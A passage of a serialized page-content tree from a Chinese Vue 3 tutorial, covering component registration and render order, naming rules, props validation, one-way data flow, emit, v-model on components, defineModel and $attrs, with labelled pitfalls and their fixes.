\u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,7340,7341,7351,7363,7371,7379,7394,7416,7436,7444],{"__ignoreMap":132},[136,7342,7343,7345,7347,7349],{"class":138,"line":139},[136,7344,143],{"class":142},[136,7346,181],{"class":146},[136,7348,318],{"class":150},[136,7350,166],{"class":142},[136,7352,7353,7355,7358,7360],{"class":138,"line":169},[136,7354,325],{"class":232},[136,7356,7357],{"class":142}," Panel ",[136,7359,331],{"class":232},[136,7361,7362],{"class":157}," '.\u002FPanel.vue'\n",[136,7364,7365,7367,7369],{"class":138,"line":176},[136,7366,292],{"class":142},[136,7368,181],{"class":146},[136,7370,166],{"class":142},[136,7372,7373,7375,7377],{"class":138,"line":199},[136,7374,143],{"class":142},[136,7376,371],{"class":146},[136,7378,166],{"class":142},[136,7380,7381,7383,7385,7387,7389,7392],{"class":138,"line":208},[136,7382,378],{"class":142},[136,7384,147],{"class":146},[136,7386,5956],{"class":150},[136,7388,154],{"class":142},[136,7390,7391],{"class":157},"\"page\"",[136,7393,166],{"class":142},[136,7395,7396,7398,7401,7404,7406,7409,7412,7414],{"class":138,"line":220},[136,7397,2278],{"class":142},[136,7399,7400],{"class":146},"Panel",[136,7402,7403],{"class":150}," title",[136,7405,154],{"class":142},[136,7407,7408],{"class":157},"\"第一块\"",[136,7410,7411],{"class":142},">内容 A\u003C\u002F",[136,7413,7400],{"class":146},[136,7415,166],{"class":142},[136,7417,7418,7420,7422,7424,7426,7429,7432,7434],{"class":138,"line":229},[136,7419,2278],{"class":142},[136,7421,7400],{"class":146},[136,7423,7403],{"class":150},[136,7425,154],{"class":142},[136,7427,7428],{"class":157},"\"第二块\"",[136,7430,7431],{"class":142},">内容 B\u003C\u002F",[136,7433,7400],{"class":146},[136,7435,166],{"class":142},[136,7437,7438,7440,7442],{"class":138,"line":258},[136,7439,2307],{"class":142},[136,7441,147],{"class":146},[136,7443,166],{"class":142},[136,7445,7446,7448,7450],{"class":138,"line":267},[136,7447,292],{"class":142},[136,7449,371],{"class":146},[136,7451,166],{"class":142},[10,7453,7454,7455,7458,7459,7461],{},"组件树按「父 setup → 父 render → 子 setup → 子 render → 子 mounted → 父 mounted」推进：",[17,7456,7457],{},"先自顶向下建好，再自底向上通知「已挂载」","。这个顺序解释了为什么父组件 ",[22,7460,608],{}," 里能拿到子组件渲染出来的 DOM。",[10,7463,7464,7465,7468,7469,7471,7472,7474],{},"同一个组件可以在一个页面里出现多次，",[17,7466,7467],{},"每个实例的状态各自独立","（示例 13 的组合式函数复用也建立在这一点上）。组件自己 ",[22,7470,403],{}," 里的初始状态来自它自己 ",[22,7473,1522],{}," 里的 ref，不是共享变量——注意别把状态写到组件文件顶层的模块级变量里，那会变成「所有实例共享」的意外全局状态。",[127,7476,7478],{"className":447,"code":7477,"language":449,"meta":132,"style":132},"\u002F\u002F ✗ 反例：模块级状态，所有实例共享\nconst shared = ref(0)\nexport default { setup() { return { shared } } }\n\n\u002F\u002F ✓ 正解：状态在 setup 内部创建，每个实例一份\nexport default { setup() { const own = ref(0); return { own } } }\n",[22,7479,7480,7485,7502,7519,7523,7528],{"__ignoreMap":132},[136,7481,7482],{"class":138,"line":139},[136,7483,7484],{"class":456},"\u002F\u002F ✗ 反例：模块级状态，所有实例共享\n",[136,7486,7487,7489,7492,7494,7496,7498,7500],{"class":138,"line":169},[136,7488,339],{"class":232},[136,7490,7491],{"class":236}," shared",[136,7493,240],{"class":232},[136,7495,346],{"class":150},[136,7497,249],{"class":142},[136,7499,485],{"class":236},[136,7501,255],{"class":142},[136,7503,7504,7506,7508,7510,7512,7514,7516],{"class":138,"line":176},[136,7505,462],{"class":232},[136,7507,465],{"class":232},[136,7509,2523],{"class":142},[136,7511,1522],{"class":150},[136,7513,476],{"class":142},[136,7515,479],{"class":232},[136,7517,7518],{"class":142}," { shared } } }\n",[136,7520,7521],{"class":138,"line":199},[136,7522,173],{"emptyLinePlaceholder":172},[136,7524,7525],{"class":138,"line":208},[136,7526,7527],{"class":456},"\u002F\u002F ✓ 正解：状态在 setup 内部创建，每个实例一份\n",[136,7529,7530,7532,7534,7536,7538,7540,7542,7545,7547,7549,7551,7553,7556,7558],{"class":138,"line":220},[136,7531,462],{"class":232},[136,7533,465],{"class":232},[136,7535,2523],{"class":142},[136,7537,1522],{"class":150},[136,7539,476],{"class":142},[136,7541,339],{"class":232},[136,7543,7544],{"class":236}," own",[136,7546,240],{"class":232},[136,7548,346],{"class":150},[136,7550,249],{"class":142},[136,7552,485],{"class":236},[136,7554,7555],{"class":142},"); ",[136,7557,479],{"class":232},[136,7559,7560],{"class":142}," { own } } }\n",[119,7562,7563],{"id":7563},"命名与保留名",[1377,7565,7566,7582,7605,7615],{},[1380,7567,7568,7569,1072,7572,7575,7576,7578,7579,7581],{},"组件名用 ",[17,7570,7571],{},"PascalCase",[22,7573,7574],{},"UserCard","）在 ",[22,7577,28],{}," 里，模板里也可写 kebab-case（",[22,7580,7100],{},"），两者等价；浏览器 in-DOM 模板只能用 kebab-case。",[1380,7583,7584,7585,7588,7589,1442,7591,1442,7593,1442,7595,1442,7598,7601,7602,849],{},"组件名",[17,7586,7587],{},"不能","与 HTML 保留元素冲突（",[22,7590,669],{},[22,7592,371],{},[22,7594,7193],{},[22,7596,7597],{},"transition",[22,7599,7600],{},"keep-alive"," 以及原生标签），Vue 会警告 ",[22,7603,7604],{},"Do not use reserved names",[1380,7606,7607,7610,7611,7614],{},[22,7608,7609],{},"is"," 是 HTML 的保留属性，动态组件要用 ",[22,7612,7613],{},"\u003Ccomponent :is=\"...\">","（第十四章）。",[1380,7616,7617,7618,6759,7620,849],{},"递归组件必须有可发现的名字：单文件组件用文件名自动推断，其它写法要显式 ",[22,7619,2711],{},[22,7621,7622],{},"defineOptions({ name: 'TreeNode' })",[801,7624],{"height":1654,"src":7625,"title":7626},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F08-components-basics.html","示例 08：组件注册、嵌套与三层渲染顺序",[10,7628,7629],{},"示例 08 的第三块把三层组件的 setup \u002F mounted 打印成带时间戳的日志，点「重播」能看到顺序真的重跑一遍。",[119,7631,816],{"id":7632},"️-本章的坑-7",[10,7634,7635,7638,7639,7641,7642,7644],{},[17,7636,7637],{},"1. import 了却「找不到组件」。"," 常见原因是路径后缀漏了 ",[22,7640,28],{},"（构建工具默认不解析裸 ",[22,7643,28],{}," 扩展名）、或大小写不对（Windows 本地能跑，Linux 构建直接失败）。这是「本地好使、CI 挂了」的头号元凶。",[10,7646,7647,7653,7654,7657,7658,422,7661,7663,7664,7667],{},[17,7648,7649,7650,7652],{},"2. 全局注册要在 ",[22,7651,279],{}," 之前。"," 注册晚于挂载时，已经渲染出来的那段模板不会回头重算，",[22,7655,7656],{},"late-badge"," 这类组件只可能在后续渲染里被解析到（行为不稳、也不该依赖）。约定：所有 ",[22,7659,7660],{},"app.component()",[22,7662,924],{}," 都写在 ",[22,7665,7666],{},"app.mount()"," 前面。",[10,7669,7670,7673,7674,7677,7678,7680,7681,1442,7684,7687],{},[17,7671,7672],{},"3. 组件名与原生标签重名。"," 注册 ",[22,7675,7676],{},"\u003CButton>"," 是允许的（PascalCase 不冲突），但注册 ",[22,7679,2238],{}," 会覆盖原生标签，出现离谱行为。图标\u002F按钮类组件统一加前缀（",[22,7682,7683],{},"BaseButton",[22,7685,7686],{},"AppButton","）能避免大量麻烦。",[10,7689,7690,7693,7694,7697,7698,7701],{},[17,7691,7692],{},"4. 状态写在模块顶层。"," 上面那段反例——",[22,7695,7696],{},"const shared = ref(0)"," 放在文件顶层（",[22,7699,7700],{},"defineStore"," 除外），多实例共享，出现「改了 A 的数据 B 也跟着变」。",[10,7703,7704,7707,7708,7711,7712,1442,7714,1442,7716,7718,7719,849],{},[17,7705,7706],{},"5. 多根组件（fragment）带来 attrs 继承问题。"," 组件顶层并列两个 ",[22,7709,7710],{},"\u003Cdiv>"," 时，父级传下来的 ",[22,7713,6973],{},[22,7715,2692],{},[22,7717,2068],{}," 无处可放，开发版会警告「Extraneous non-props attributes」。解决：合并成单根、或显式 ",[22,7720,7090],{},[10,7722,7723,822,7729,7732],{},[17,7724,930,7725,7728],{},[22,7726,7727],{},"key"," 加在组件上是给 Vue 的，不是给组件的。",[22,7730,7731],{},"\u003Cuser-card :key=\"id\">"," 用来强制重建实例（切换用户时清掉内部状态），别指望它在组件 props 里出现。",[10,7734,7735,822,7738,7741,7742,7744],{},[17,7736,7737],{},"7. 组件模板里的注释会进渲染结果。",[22,7739,7740],{},"\u003C!-- ... -->"," 默认被保留进 DOM（除非构建配置移除），大段说明文字建议放 ",[22,7743,24],{}," 上方而不是模板里。",[119,7746,7748],{"id":7747},"附组件组织速查","附：组件组织速查",[53,7750,7751,7761],{},[56,7752,7753],{},[59,7754,7755,7758],{},[62,7756,7757],{},"问题",[62,7759,7760],{},"建议",[72,7762,7763,7779,7799,7807,7815],{},[59,7764,7765,7768],{},[77,7766,7767],{},"组件放哪",[77,7769,7770,7771,7774,7775,7778],{},"全局共享的进 ",[22,7772,7773],{},"app\u002Fcomponents\u002F","（Nuxt）或 ",[22,7776,7777],{},"src\u002Fcomponents\u002F","；单页专用的可与页面同目录",[59,7780,7781,7784],{},[77,7782,7783],{},"命名",[77,7785,7786,7787,7789,7790,7792,7793,1413,7796],{},"多词 PascalCase：",[22,7788,7574],{},"；基础组件加前缀：",[22,7791,7683],{},"；单一实例加 ",[22,7794,7795],{},"App",[22,7797,7798],{},"AppSidebar",[59,7800,7801,7804],{},[77,7802,7803],{},"何时拆组件",[77,7805,7806],{},"一个块被用了 2 次以上 \u002F 单文件超过 200 行 \u002F 有独立状态要自管",[59,7808,7809,7812],{},[77,7810,7811],{},"何时别拆",[77,7813,7814],{},"只为「看起来整齐」而拆的模板片段——反而要穿多层传 props",[59,7816,7817,7820],{},[77,7818,7819],{},"传递数据",[77,7821,7822],{},"props 向下、emit 向上（第九章）；深层用 provide\u002Finject（第十三章）或 store（第十五章）",[35,7824,7826],{"id":7825},"九props-与-emit父子之间的规矩","九、props 与 emit：父子之间的规矩",[10,7828,7829,7830,7833],{},"组件通信的地基是两条：",[17,7831,7832],{},"props 向下传数据，emit 向上传事件","。核心纪律叫「单向数据流」——子组件不能改父组件传下来的 props，只能读、只能在本地复制一份再改。",[119,7835,7837],{"id":7836},"props声明类型默认值","props：声明、类型、默认值",[127,7839,7841],{"className":305,"code":7840,"language":307,"meta":132,"style":132},"\u003C!-- UserCard.vue -->\n\u003Cscript setup>\nconst props = defineProps({\n  name: { type: String, required: true },\n  level: { type: Number, default: 1 },\n  tags: { type: Array, default: () => [] },      \u002F\u002F 对象\u002F数组必须用工厂函数\n  meta: { type: Object, default: () => ({}) },\n  size: { type: String, validator: (v) => ['s', 'm', 'l'].includes(v) }\n})\n\n\u002F\u002F 也可以只列类型（简写）\n\u002F\u002F defineProps(['name', 'level'])\n\u003C\u002Fscript>\n",[22,7842,7843,7848,7858,7872,7882,7891,7909,7923,7963,7967,7971,7976,7981],{"__ignoreMap":132},[136,7844,7845],{"class":138,"line":139},[136,7846,7847],{"class":456},"\u003C!-- UserCard.vue -->\n",[136,7849,7850,7852,7854,7856],{"class":138,"line":169},[136,7851,143],{"class":142},[136,7853,181],{"class":146},[136,7855,318],{"class":150},[136,7857,166],{"class":142},[136,7859,7860,7862,7865,7867,7870],{"class":138,"line":176},[136,7861,339],{"class":232},[136,7863,7864],{"class":236}," props",[136,7866,240],{"class":232},[136,7868,7869],{"class":150}," defineProps",[136,7871,217],{"class":142},[136,7873,7874,7877,7879],{"class":138,"line":199},[136,7875,7876],{"class":142},"  name: { type: String, required: ",[136,7878,4532],{"class":236},[136,7880,7881],{"class":142}," },\n",[136,7883,7884,7887,7889],{"class":138,"line":208},[136,7885,7886],{"class":142},"  level: { type: Number, default: ",[136,7888,3360],{"class":236},[136,7890,7881],{"class":142},[136,7892,7893,7896,7899,7901,7903,7906],{"class":138,"line":220},[136,7894,7895],{"class":142},"  tags: { type: Array, ",[136,7897,7898],{"class":150},"default",[136,7900,4281],{"class":142},[136,7902,593],{"class":232},[136,7904,7905],{"class":142}," [] },      ",[136,7907,7908],{"class":456},"\u002F\u002F 对象\u002F数组必须用工厂函数\n",[136,7910,7911,7914,7916,7918,7920],{"class":138,"line":229},[136,7912,7913],{"class":142},"  meta: { type: Object, ",[136,7915,7898],{"class":150},[136,7917,4281],{"class":142},[136,7919,593],{"class":232},[136,7921,7922],{"class":142}," ({}) },\n",[136,7924,7925,7928,7931,7933,7935,7937,7939,7942,7945,7947,7950,7952,7955,7958,7960],{"class":138,"line":258},[136,7926,7927],{"class":142},"  size: { type: String, ",[136,7929,7930],{"class":150},"validator",[136,7932,700],{"class":142},[136,7934,4316],{"class":703},[136,7936,707],{"class":142},[136,7938,593],{"class":232},[136,7940,7941],{"class":142}," [",[136,7943,7944],{"class":157},"'s'",[136,7946,4139],{"class":142},[136,7948,7949],{"class":157},"'m'",[136,7951,4139],{"class":142},[136,7953,7954],{"class":157},"'l'",[136,7956,7957],{"class":142},"].",[136,7959,4197],{"class":150},[136,7961,7962],{"class":142},"(v) }\n",[136,7964,7965],{"class":138,"line":267},[136,7966,2502],{"class":142},[136,7968,7969],{"class":138,"line":273},[136,7970,173],{"emptyLinePlaceholder":172},[136,7972,7973],{"class":138,"line":289},[136,7974,7975],{"class":456},"\u002F\u002F 也可以只列类型（简写）\n",[136,7977,7978],{"class":138,"line":605},[136,7979,7980],{"class":456},"\u002F\u002F defineProps(['name', 'level'])\n",[136,7982,7983,7985,7987],{"class":138,"line":2406},[136,7984,292],{"class":142},[136,7986,181],{"class":146},[136,7988,166],{"class":142},[10,7990,7991,7992,7995,7996,849,7999,8002],{},"用类型声明的 ",[22,7993,7994],{},"String | Number"," 写作 ",[22,7997,7998],{},"[String, Number]",[17,8000,8001],{},"校验只在开发版生效","（示例 09 把警告接到了迷你控制台里），生产构建里被剥掉——所以它是「写代码时的护栏」，不是运行时保障。",[10,8004,8005],{},"模板里传值的对照，务必分清：",[53,8007,8008,8017],{},[56,8009,8010],{},[59,8011,8012,8014],{},[62,8013,1797],{},[62,8015,8016],{},"传过去的值",[72,8018,8019,8030,8041,8054,8064],{},[59,8020,8021,8025],{},[77,8022,8023],{},[22,8024,1754],{},[77,8026,8027,8028],{},"数字 ",[22,8029,3360],{},[59,8031,8032,8036],{},[77,8033,8034],{},[22,8035,1758],{},[77,8037,8038,8039],{},"字符串 ",[22,8040,1762],{},[59,8042,8043,8048],{},[77,8044,8045],{},[22,8046,8047],{},":count=\"raw\"",[77,8049,8050,8053],{},[22,8051,8052],{},"raw"," 变量的值",[59,8055,8056,8061],{},[77,8057,8058],{},[22,8059,8060],{},":is-ok",[77,8062,8063],{},"布尔 true（缺省即 true，仅 Boolean 类型 props 有这个糖）",[59,8065,8066,8071],{},[77,8067,8068],{},[22,8069,8070],{},"v-bind=\"allProps\"",[77,8072,8073],{},"展开对象里所有字段",[119,8075,8077],{"id":8076},"props-只读想改就复制","props 只读：想改就复制",[127,8079,8081],{"className":305,"code":8080,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { ref, watch } from 'vue'\nconst props = defineProps({ title: String })\n\n\u002F\u002F ✗ 直接改：开发版警告「Avoid mutating a prop directly」\n\u002F\u002F props.title = '新值'\n\n\u002F\u002F ✓ 本地副本 + 同步\nconst local = ref(props.title)\nwatch(() => props.title, (v) => { local.value = v })\n\u003C\u002Fscript>\n",[22,8082,8083,8093,8104,8117,8121,8126,8131,8135,8140,8154,8179],{"__ignoreMap":132},[136,8084,8085,8087,8089,8091],{"class":138,"line":139},[136,8086,143],{"class":142},[136,8088,181],{"class":146},[136,8090,318],{"class":150},[136,8092,166],{"class":142},[136,8094,8095,8097,8100,8102],{"class":138,"line":169},[136,8096,325],{"class":232},[136,8098,8099],{"class":142}," { ref, watch } ",[136,8101,331],{"class":232},[136,8103,334],{"class":157},[136,8105,8106,8108,8110,8112,8114],{"class":138,"line":176},[136,8107,339],{"class":232},[136,8109,7864],{"class":236},[136,8111,240],{"class":232},[136,8113,7869],{"class":150},[136,8115,8116],{"class":142},"({ title: String })\n",[136,8118,8119],{"class":138,"line":199},[136,8120,173],{"emptyLinePlaceholder":172},[136,8122,8123],{"class":138,"line":208},[136,8124,8125],{"class":456},"\u002F\u002F ✗ 直接改：开发版警告「Avoid mutating a prop directly」\n",[136,8127,8128],{"class":138,"line":220},[136,8129,8130],{"class":456},"\u002F\u002F props.title = '新值'\n",[136,8132,8133],{"class":138,"line":229},[136,8134,173],{"emptyLinePlaceholder":172},[136,8136,8137],{"class":138,"line":258},[136,8138,8139],{"class":456},"\u002F\u002F ✓ 本地副本 + 同步\n",[136,8141,8142,8144,8147,8149,8151],{"class":138,"line":267},[136,8143,339],{"class":232},[136,8145,8146],{"class":236}," local",[136,8148,240],{"class":232},[136,8150,346],{"class":150},[136,8152,8153],{"class":142},"(props.title)\n",[136,8155,8156,8158,8160,8162,8165,8167,8169,8171,8174,8176],{"class":138,"line":273},[136,8157,3720],{"class":150},[136,8159,590],{"class":142},[136,8161,593],{"class":232},[136,8163,8164],{"class":142}," props.title, (",[136,8166,4316],{"class":703},[136,8168,707],{"class":142},[136,8170,593],{"class":232},[136,8172,8173],{"class":142}," { local.value ",[136,8175,154],{"class":232},[136,8177,8178],{"class":142}," v })\n",[136,8180,8181,8183,8185],{"class":138,"line":289},[136,8182,292],{"class":142},[136,8184,181],{"class":146},[136,8186,166],{"class":142},[10,8188,8189,8190,8193,8194,8196],{},"如果父子要",[17,8191,8192],{},"双向","同步，那是 ",[22,8195,2881],{}," 的活（下面第三段）。",[119,8198,8200],{"id":8199},"emit向上传事件","emit：向上传事件",[127,8202,8204],{"className":305,"code":8203,"language":307,"meta":132,"style":132},"\u003C!-- Child.vue -->\n\u003Cscript setup>\nconst emit = defineEmits(['like', 'rename', { submit: (payload) => typeof payload === 'string' }])\nfunction tap() { emit('like', 1) }\n\u003C\u002Fscript>\n\n\u003C!-- Parent.vue -->\n\u003Cchild @like=\"count += $event\" @rename=\"name = $event\" @submit=\"onSubmit\" \u002F>\n",[22,8205,8206,8211,8221,8271,8293,8301,8305,8310],{"__ignoreMap":132},[136,8207,8208],{"class":138,"line":139},[136,8209,8210],{"class":456},"\u003C!-- Child.vue -->\n",[136,8212,8213,8215,8217,8219],{"class":138,"line":169},[136,8214,143],{"class":142},[136,8216,181],{"class":146},[136,8218,318],{"class":150},[136,8220,166],{"class":142},[136,8222,8223,8225,8228,8230,8233,8236,8239,8241,8244,8246,8249,8251,8254,8256,8258,8261,8264,8266,8269],{"class":138,"line":176},[136,8224,339],{"class":232},[136,8226,8227],{"class":236}," emit",[136,8229,240],{"class":232},[136,8231,8232],{"class":150}," defineEmits",[136,8234,8235],{"class":142},"([",[136,8237,8238],{"class":157},"'like'",[136,8240,4139],{"class":142},[136,8242,8243],{"class":157},"'rename'",[136,8245,695],{"class":142},[136,8247,8248],{"class":150},"submit",[136,8250,700],{"class":142},[136,8252,8253],{"class":703},"payload",[136,8255,707],{"class":142},[136,8257,593],{"class":232},[136,8259,8260],{"class":232}," typeof",[136,8262,8263],{"class":142}," payload ",[136,8265,6559],{"class":232},[136,8267,8268],{"class":157}," 'string'",[136,8270,4088],{"class":142},[136,8272,8273,8275,8278,8280,8282,8284,8286,8288,8290],{"class":138,"line":199},[136,8274,5231],{"class":232},[136,8276,8277],{"class":150}," tap",[136,8279,476],{"class":142},[136,8281,4753],{"class":150},[136,8283,249],{"class":142},[136,8285,8238],{"class":157},[136,8287,4139],{"class":142},[136,8289,3360],{"class":236},[136,8291,8292],{"class":142},") }\n",[136,8294,8295,8297,8299],{"class":138,"line":208},[136,8296,292],{"class":142},[136,8298,181],{"class":146},[136,8300,166],{"class":142},[136,8302,8303],{"class":138,"line":220},[136,8304,173],{"emptyLinePlaceholder":172},[136,8306,8307],{"class":138,"line":229},[136,8308,8309],{"class":456},"\u003C!-- Parent.vue -->\n",[136,8311,8312,8314,8317,8320,8323,8325,8327,8330,8333,8336,8338,8340,8343,8345,8347,8350,8352,8354,8356,8358,8360,8362,8364,8367,8369],{"class":138,"line":258},[136,8313,143],{"class":142},[136,8315,8316],{"class":146},"child",[136,8318,8319],{"class":142}," @",[136,8321,8322],{"class":150},"like",[136,8324,154],{"class":142},[136,8326,1288],{"class":157},[136,8328,8329],{"class":142},"count ",[136,8331,8332],{"class":232},"+=",[136,8334,8335],{"class":142}," $event",[136,8337,1288],{"class":157},[136,8339,8319],{"class":142},[136,8341,8342],{"class":150},"rename",[136,8344,154],{"class":142},[136,8346,1288],{"class":157},[136,8348,8349],{"class":142},"name ",[136,8351,154],{"class":232},[136,8353,8335],{"class":142},[136,8355,1288],{"class":157},[136,8357,8319],{"class":142},[136,8359,8248],{"class":150},[136,8361,154],{"class":142},[136,8363,1288],{"class":157},[136,8365,8366],{"class":142},"onSubmit",[136,8368,1288],{"class":157},[136,8370,8371],{"class":142}," \u002F>\n",[10,8373,8374,8375,8378,8379,8381,8382,8385,8386,8388],{},"声明 ",[22,8376,8377],{},"emits"," 有两个实际好处：父组件监听时 IDE 有提示；未在 ",[22,8380,8377],{}," 里声明的「事件风格」监听（",[22,8383,8384],{},"@xyz","）会被当成原生事件透传到根元素，导致触发两次。声明了 ",[22,8387,8377],{},"，Vue 就知道它不是 DOM 事件。",[119,8390,8392],{"id":8391},"组件上的-v-model","组件上的 v-model",[10,8394,8395,8396,8398,8399,8401,8402,8404],{},"Vue 3 里 ",[22,8397,2881],{}," 在组件上等价于「",[22,8400,5478],{}," prop + ",[22,8403,5481],{}," 事件」，并且支持带参数：",[127,8406,8408],{"className":305,"code":8407,"language":307,"meta":132,"style":132},"\u003C!-- 手写完整版 -->\n\u003Cscript setup>\nconst props = defineProps({ modelValue: String })\nconst emit = defineEmits(['update:modelValue'])\n\u003C\u002Fscript>\n\u003Ctemplate>\u003Cinput :value=\"props.modelValue\" @input=\"emit('update:modelValue', $event.target.value)\">\u003C\u002Ftemplate>\n\n\u003C!-- 父组件用法 -->\n\u003Cbase-input v-model=\"form.name\" \u002F>\n\u003Cprice-field v-model:price=\"item.price\" v-model:count=\"item.count\" \u002F>\n",[22,8409,8410,8415,8425,8438,8456,8464,8496,8500,8505,8525],{"__ignoreMap":132},[136,8411,8412],{"class":138,"line":139},[136,8413,8414],{"class":456},"\u003C!-- 手写完整版 -->\n",[136,8416,8417,8419,8421,8423],{"class":138,"line":169},[136,8418,143],{"class":142},[136,8420,181],{"class":146},[136,8422,318],{"class":150},[136,8424,166],{"class":142},[136,8426,8427,8429,8431,8433,8435],{"class":138,"line":176},[136,8428,339],{"class":232},[136,8430,7864],{"class":236},[136,8432,240],{"class":232},[136,8434,7869],{"class":150},[136,8436,8437],{"class":142},"({ modelValue: String })\n",[136,8439,8440,8442,8444,8446,8448,8450,8453],{"class":138,"line":199},[136,8441,339],{"class":232},[136,8443,8227],{"class":236},[136,8445,240],{"class":232},[136,8447,8232],{"class":150},[136,8449,8235],{"class":142},[136,8451,8452],{"class":157},"'update:modelValue'",[136,8454,8455],{"class":142},"])\n",[136,8457,8458,8460,8462],{"class":138,"line":208},[136,8459,292],{"class":142},[136,8461,181],{"class":146},[136,8463,166],{"class":142},[136,8465,8466,8468,8470,8473,8475,8477,8479,8482,8485,8487,8490,8492,8494],{"class":138,"line":220},[136,8467,143],{"class":142},[136,8469,371],{"class":146},[136,8471,8472],{"class":142},">\u003C",[136,8474,2281],{"class":146},[136,8476,5686],{"class":150},[136,8478,154],{"class":142},[136,8480,8481],{"class":157},"\"props.modelValue\"",[136,8483,8484],{"class":150}," @input",[136,8486,154],{"class":142},[136,8488,8489],{"class":157},"\"emit('update:modelValue', $event.target.value)\"",[136,8491,192],{"class":142},[136,8493,371],{"class":146},[136,8495,166],{"class":142},[136,8497,8498],{"class":138,"line":229},[136,8499,173],{"emptyLinePlaceholder":172},[136,8501,8502],{"class":138,"line":258},[136,8503,8504],{"class":456},"\u003C!-- 父组件用法 -->\n",[136,8506,8507,8509,8512,8514,8516,8518,8521,8523],{"class":138,"line":267},[136,8508,143],{"class":142},[136,8510,8511],{"class":146},"base-input",[136,8513,2284],{"class":150},[136,8515,154],{"class":142},[136,8517,1288],{"class":157},[136,8519,8520],{"class":142},"form.name",[136,8522,1288],{"class":157},[136,8524,8371],{"class":142},[136,8526,8527,8529,8532,8534,8536,8539,8541,8543,8546,8548,8550,8552,8555,8557,8559,8562,8564],{"class":138,"line":273},[136,8528,143],{"class":142},[136,8530,8531],{"class":146},"price-field",[136,8533,2284],{"class":150},[136,8535,1259],{"class":142},[136,8537,8538],{"class":150},"price",[136,8540,154],{"class":142},[136,8542,1288],{"class":157},[136,8544,8545],{"class":142},"item.price",[136,8547,1288],{"class":157},[136,8549,2284],{"class":150},[136,8551,1259],{"class":142},[136,8553,8554],{"class":150},"count",[136,8556,154],{"class":142},[136,8558,1288],{"class":157},[136,8560,8561],{"class":142},"item.count",[136,8563,1288],{"class":157},[136,8565,8371],{"class":142},[10,8567,8568,8570],{},[22,8569,6195],{},"（Vue 3.4+）把上面那一大段压缩成一行，新项目推荐：",[127,8572,8574],{"className":305,"code":8573,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nconst model = defineModel()                       \u002F\u002F 对应 v-model\nconst price = defineModel('price', { type: Number, default: 0 })  \u002F\u002F 对应 v-model:price\n\u003C\u002Fscript>\n\u003Ctemplate>\u003Cinput v-model=\"model\">\u003C\u002Ftemplate>\n",[22,8575,8576,8586,8604,8631,8639],{"__ignoreMap":132},[136,8577,8578,8580,8582,8584],{"class":138,"line":139},[136,8579,143],{"class":142},[136,8581,181],{"class":146},[136,8583,318],{"class":150},[136,8585,166],{"class":142},[136,8587,8588,8590,8593,8595,8598,8601],{"class":138,"line":169},[136,8589,339],{"class":232},[136,8591,8592],{"class":236}," model",[136,8594,240],{"class":232},[136,8596,8597],{"class":150}," defineModel",[136,8599,8600],{"class":142},"()                       ",[136,8602,8603],{"class":456},"\u002F\u002F 对应 v-model\n",[136,8605,8606,8608,8611,8613,8615,8617,8620,8623,8625,8628],{"class":138,"line":176},[136,8607,339],{"class":232},[136,8609,8610],{"class":236}," price",[136,8612,240],{"class":232},[136,8614,8597],{"class":150},[136,8616,249],{"class":142},[136,8618,8619],{"class":157},"'price'",[136,8621,8622],{"class":142},", { type: Number, default: ",[136,8624,485],{"class":236},[136,8626,8627],{"class":142}," })  ",[136,8629,8630],{"class":456},"\u002F\u002F 对应 v-model:price\n",[136,8632,8633,8635,8637],{"class":138,"line":199},[136,8634,292],{"class":142},[136,8636,181],{"class":146},[136,8638,166],{"class":142},[136,8640,8641,8643,8645,8647,8649,8651,8653,8656,8658,8660],{"class":138,"line":208},[136,8642,143],{"class":142},[136,8644,371],{"class":146},[136,8646,8472],{"class":142},[136,8648,2281],{"class":146},[136,8650,2284],{"class":150},[136,8652,154],{"class":142},[136,8654,8655],{"class":157},"\"model\"",[136,8657,192],{"class":142},[136,8659,371],{"class":146},[136,8661,166],{"class":142},[119,8663,8665,8666],{"id":8664},"兜底透传attrs","兜底透传：",[22,8667,1424],{},[10,8669,8670,8671,8673,8674,1442,8676,1442,8679,8681,8682,8684],{},"父组件传了一堆没被子组件 ",[22,8672,3685],{}," 声明的东西（",[22,8675,6973],{},[22,8677,8678],{},"data-*",[22,8680,2068],{},"、未知属性），它们汇总在 ",[22,8683,1424],{}," 里。封装第三方组件时几乎必然用到：",[127,8686,8688],{"className":305,"code":8687,"language":307,"meta":132,"style":132},"\u003Ctemplate>\n  \u003Cel-input v-bind=\"$attrs\" :model-value=\"text\" @update:model-value=\"text = $event\" \u002F>\n\u003C\u002Ftemplate>\n",[22,8689,8690,8698,8730],{"__ignoreMap":132},[136,8691,8692,8694,8696],{"class":138,"line":139},[136,8693,143],{"class":142},[136,8695,371],{"class":146},[136,8697,166],{"class":142},[136,8699,8700,8702,8705,8708,8710,8713,8716,8718,8720,8723,8725,8728],{"class":138,"line":169},[136,8701,378],{"class":142},[136,8703,8704],{"class":146},"el-input",[136,8706,8707],{"class":150}," v-bind",[136,8709,154],{"class":142},[136,8711,8712],{"class":157},"\"$attrs\"",[136,8714,8715],{"class":150}," :model-value",[136,8717,154],{"class":142},[136,8719,5683],{"class":157},[136,8721,8722],{"class":150}," @update:model-value",[136,8724,154],{"class":142},[136,8726,8727],{"class":157},"\"text = $event\"",[136,8729,8371],{"class":142},[136,8731,8732,8734,8736],{"class":138,"line":176},[136,8733,292],{"class":142},[136,8735,371],{"class":146},[136,8737,166],{"class":142},[801,8739],{"height":1654,"src":8740,"title":8741},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F09-props-emit.html","示例 09：props 校验、单向数据流与组件 v-model",[10,8743,8744,8745,8748,8749,8752],{},"示例 09 的第二块是本教程最重要的一条警告现场：子组件里 ",[22,8746,8747],{},"props.count++"," 会打出「Avoid mutating a prop directly」；换成 ",[22,8750,8751],{},"emit('inc')"," 由父级改，数据就真的变了。",[119,8754,816],{"id":8755},"️-本章的坑-8",[10,8757,8758,822,8764,8767,8768,8771],{},[17,8759,8760,8761,8763],{},"1. 数组\u002F对象的 ",[22,8762,7898],{}," 忘了工厂函数。",[22,8765,8766],{},"default: []"," 会让所有实例共享同一个数组（Vue 直接报错要求写成 ",[22,8769,8770],{},"() => []","）。这个强制要求反而帮你避开了一个经典 bug。",[10,8773,8774,822,8777,8780,8781,8783,8784,1442,8787,8790,8791,8794,8795,400,8798,8800],{},[17,8775,8776],{},"2. Boolean 类型的「缺省即 true」。",[22,8778,8779],{},":disabled"," 不写值时 props 收到 ",[22,8782,4532],{},"；但 